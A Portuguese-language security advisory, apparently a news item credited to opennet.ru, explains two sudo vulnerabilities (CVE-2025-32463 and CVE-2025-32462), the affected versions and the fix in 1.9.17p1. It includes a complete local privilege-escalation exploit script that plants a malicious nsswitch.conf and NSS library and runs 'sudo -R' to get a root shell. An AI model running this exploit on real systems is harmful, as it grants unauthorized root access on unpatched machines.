Descobriu-se uma vulnerabilidade no pacote sudo, utilizado para executar comandos em nome de outros usuários (CVE-2025-32463), permitindo que qualquer usuário não privilegiado execute código com permissões de root, mesmo que o usuário não esteja mencionado na configuração do sudoers. Distribuições que utilizam o arquivo de configuração /etc/nsswitch.conf estão vulneráveis, como demonstrado na exploração da vulnerabilidade no Ubuntu 24.04 e Fedora 41.
A vulnerabilidade se manifesta na configuração padrão e foi confirmada nas versões do sudo de 1.9.14 a 1.9.17 (potencialmente afetando todas as versões a partir de 1.8.33). O problema foi corrigido na atualização do sudo 1.9.17p1. O estado da nova versão do pacote ou a preparação de um patch em distribuições pode ser verificado nas seguintes páginas (se a página não estiver disponível, é porque os desenvolvedores da distribuição ainda não iniciaram a análise do problema): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo e Arch (1, 2).
O problema ocorre porque, ao usar a opção "-R" ("--chroot") para executar comandos em um ambiente chroot com um diretório raiz escolhido, o arquivo /etc/nsswitch.conf era carregado no contexto do novo diretório raiz, em vez do diretório do sistema. Como o usuário pode usar um diretório próprio como diretório raiz para chroot, ele pode colocar o arquivo de configuração nsswitch.conf nele. Ao controlar o arquivo /etc/nsswitch.conf que é carregado pelo subsistema NSS (Name Service Switch), o usuário pode adicionar configurações que levam à invocação de manipuladores adicionais. Esses manipuladores são carregados pelo NSS na forma de bibliotecas compartilhadas, que também podem ser colocadas em um diretório controlado pelo usuário. Substituindo sua biblioteca, o usuário pode conseguir a execução de código com permissões de root, pois o processamento do NSS é realizado antes da revogação de privilégios.
Exemplo de exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c <<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
Na versão do sudo 1.9.17p1, outra vulnerabilidade (CVE-2025-32462) também foi corrigida, permitindo a execução de comandos com privilégios de root, mas que se manifesta apenas em configurações de sudoers cujo parâmetro "host" está definido para um valor diferente de ALL ou o nome do host atual. A vulnerabilidade foi causada por um erro que fez com que a opção "-h" ("—host") funcionasse não apenas em combinação com a opção "-l" ("—list") para exibir os privilégios associados ao host, mas também ao executar comandos. Assim, o usuário poderia especificar qualquer host ao chamar o sudo e contornar as restrições das regras de sudoers vinculadas ao nome do host.
Para realizar o ataque, o usuário deve estar mencionado nas sudoers; por exemplo, se nas configurações estiver definido "testuser testhost = ALL", o usuário "testuser" poderia especificar "sudo -h testhost" e executar comandos com privilégios de root em qualquer host, e não apenas no host testhost. A vulnerabilidade não afeta configurações com definições do tipo "testuser ALL = ALL" ou sem regras explícitas para um usuário específico.
Fonte: opennet.ru
